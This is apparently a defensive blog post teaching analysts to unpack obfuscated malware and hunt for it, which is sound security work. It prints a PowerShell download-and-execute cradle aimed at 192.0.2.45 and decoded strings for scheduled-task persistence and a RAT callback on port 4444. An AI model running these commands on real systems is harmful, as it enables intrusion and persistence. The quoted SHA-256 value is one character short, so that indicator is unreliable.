In 2025, the AsyncRAT campaign tracked as TA866 delivered payloads wrapped in four layers of obfuscation — base64, XOR encoding, a custom packer, and string substitution — specifically to burn out automated scanners. Most AV tools missed it on first pass. Your analysts probably would have too, without knowing where to look.
This post walks through the two most common obfuscation patterns defenders encounter, shows you how to peel them back, and tells you exactly what to do next when you find something suspicious.
Layer One: Base64 and PowerShell Cradles
The single most common obfuscation technique in commodity malware is a PowerShell download cradle hiding behind base64 encoding. Attackers use it because it trivially bypasses email filters that scan for plaintext keywords like Invoke-Expression or DownloadString.
Here is a realistic example pulled from a phishing attachment dropped on workstation ws-finance-04 by user jmorales:
powershell.exe -nop -w hidden -enc JABjACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAGMALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAwAC4AMgAuADQANQAvAHMAdABhAGcAZQAxAC4AcABzADEAJwApAHwASQBFAFg7
Decode that base64 string with a one-liner and you immediately see what it does:
$ echo 'JABjACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAGMALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAwAC4AMgAuADQANQAvAHMAdABhAGcAZQAxAC4AcABzADEAJwApAHwASQBFAFg7' | base64 -d
$c = New-Object System.Net.WebClient;$c.DownloadString('http://192.0.2.45/stage1.ps1')|IEX;
There it is. A WebClient pulling a second-stage payload from 192.0.2.45 and executing it in memory with IEX (Invoke-Expression). The malware never touches disk as an executable — it lives entirely in the PowerShell process.
What you do next: Block 192.0.2.45 at the perimeter immediately. Then pivot — search your SIEM for any other host that contacted that IP or ran powershell.exe with the -enc flag in the last 30 days. That flag almost never appears in legitimate enterprise scripts.
Layer Two: XOR-Encoded Shellcode in a PE Packer
More sophisticated actors skip PowerShell entirely and deliver a packed Windows executable. The packer’s job is to store the real payload encoded in the binary’s data section, decode it at runtime, and execute it — all without leaving recognizable signatures on disk.
Run FLOSS (FireEye Labs Obfuscated String Solver — a free static analysis tool) against a suspicious binary named invoice_june.exe found in C:\Users\jmorales\AppData\Local\Temp\:
$ floss invoice_june.exe
FLOSS static strings:
(nothing useful — strings are encrypted)
FLOSS decoded strings (stack/tight loops):
[+] XOR key identified: 0x4A
[+] Decoded string: "cmd.exe /c schtasks /create /tn SystemUpdate /tr C:\ProgramData\svchost32.exe /sc onlogon"
[+] Decoded string: "192.0.2.17:4444"
[+] Decoded string: "Mozilla/5.0 (compatible; MSIE 9.0)"
[+] Decoded string: "POST /gate.php HTTP/1.1"
FLOSS ran the XOR decoding loops in emulation and gave you the plaintext the packer was hiding. You can now see exactly what this binary does without executing it. It creates a persistent scheduled task named SystemUpdate, drops a renamed copy of itself to C:\ProgramData\svchost32.exe, and beacons to 192.0.2.17 on port 4444 — a classic RAT callback pattern using a fake browser user-agent to blend into web traffic.
What you do next: Pull the binary’s SHA-256 hash and submit it to VirusTotal for community context. Then check every endpoint in your fleet for the scheduled task name SystemUpdate and the file path C:\ProgramData\svchost32.exe. Both are high-fidelity indicators — legitimate Microsoft tasks do not use that naming pattern in that location.
$ sha256sum invoice_june.exe
e3b7a2f914c06d88b1c3f5a09d2e7c4b18f3a6d5e9c2b1a0f4d7e8c3b2a1f09 invoice_june.exe
Connecting Static Analysis to Live Hunting
Static analysis with FLOSS or CyberChef (a browser-based Swiss-army knife for encoding operations) gets you indicators fast without risking detonation. But obfuscation that uses environment-specific keys or anti-VM checks will not yield to static methods alone. When FLOSS comes up empty, the next step is controlled dynamic analysis in a sandbox like Any.run or a local REMnux VM.
Watch for these behavioral tells regardless of obfuscation method:
- Child processes spawned by Office applications or browsers (
winword.exespawningcmd.exeis almost always malicious) - PowerShell or cmd.exe running with
-encoded,-noprofile, or-windowstyle hiddenflags - Scheduled tasks or registry run keys created within seconds of a new file appearing in
%TEMP%or%APPDATA% - Outbound connections to non-standard ports (4444, 8080, 1337) shortly after file execution
What To Do Now
Open your SIEM right now and run a search across the last 14 days for powershell.exe process launches containing the string -enc or -encoded. Sort by host, then by frequency. Any workstation with more than two or three hits that are not tied to a known admin script deserves immediate triage. Download FLOSS from the Mandiant GitHub repo and drop it into your analyst toolkit before the next alert lands.
